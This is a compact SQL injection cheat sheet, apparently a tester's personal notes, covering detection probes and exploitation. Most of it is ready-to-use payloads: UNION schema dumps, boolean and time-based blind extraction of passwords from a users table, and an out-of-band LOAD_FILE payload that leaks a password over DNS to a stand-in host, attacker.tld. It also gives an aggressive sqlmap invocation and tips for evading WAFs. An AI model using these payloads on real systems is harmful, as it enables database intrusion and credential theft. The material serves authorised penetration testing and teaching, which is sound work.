SQL Injection Basics
This is the page I open when I think a parameter is injectable. It is not a full reference — it is the smallest amount I need in front of me to make forward progress.
Detection
Touch the parameter four ways, in this order:
- Break it. Inject a single quote
', a single double-quote", a backslash\, and a closing paren). Look for SQL errors, 500 responses, or changes in behaviour even without an error message. - Concat it. Append
' || 'x(Oracle/Postgres) or' + 'x(MSSQL) or' 'x(MySQL string concat). If the page still works, you are inside a string context. - Math it. Replace
1with2-1,id=5withid=10/2. If2-1returns the same result as1, the value is being evaluated. - Time it.
' OR SLEEP(5) -- -(MySQL),'; WAITFOR DELAY '0:0:5' -- -(MSSQL). If response time matches the sleep, you have blind SQLi.
Always end payloads with -- - (dash dash space dash). Some engines strip
trailing whitespace, and -- without something after it stops being a
comment in MySQL.
Quick exploitation paths
UNION-based (visible output)
Find the column count:
' UNION SELECT NULL -- -
' UNION SELECT NULL,NULL -- -
' UNION SELECT NULL,NULL,NULL -- -Find a string column (so you can extract data):
' UNION SELECT 'a',NULL,NULL -- -
' UNION SELECT NULL,'a',NULL -- -Pull schema:
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables -- -
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns
WHERE table_name='users' -- -Boolean blind
' AND SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a' -- -Difference between true / false response = one bit per request. Script it with a binary search, not a linear scan.
Time-based blind
' AND IF(SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a', SLEEP(2), 0) -- -Slow but works when there is no other oracle.
Out-of-band (when blind and slow)
MySQL on Windows with secure_file_priv set right:
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.tld\\x')) -- -You receive the data over DNS. Burp Collaborator catches the request.
sqlmap, but used properly
sqlmap -u "https://target/item?id=1" \
--cookie="session=…" \
--level=5 --risk=3 \
--random-agent \
--batch \
--technique=BEUSTQ \
--dbs--leveland--riskmatter. Default 1/1 misses most modern targets.--random-agentavoids the trivial WAF block onsqlmapUA.--technique=BEUSTQenables all six techniques explicitly so a forgotten default does not skip a winning path.
Never run sqlmap against scope you do not own. It is loud, expensive on the target DB, and trivially logged.
Habits that save time
- Always note the DBMS first. MySQL
version(), MSSQL@@version, Postgresversion(). Half of payload selection is “what engine is this.” - Encode reasonably. WAFs strip
'but not%27;--but not/**/. Cycle through forms before declaring no-injection. - Read errors out loud.
near "'": syntax errortells you the position of the broken token. Use it. - Don’t trust filters. A param that says “blocked” via the WAF may still be
injectable via JSON body, headers (
X-Forwarded-For,Referer), or path segments.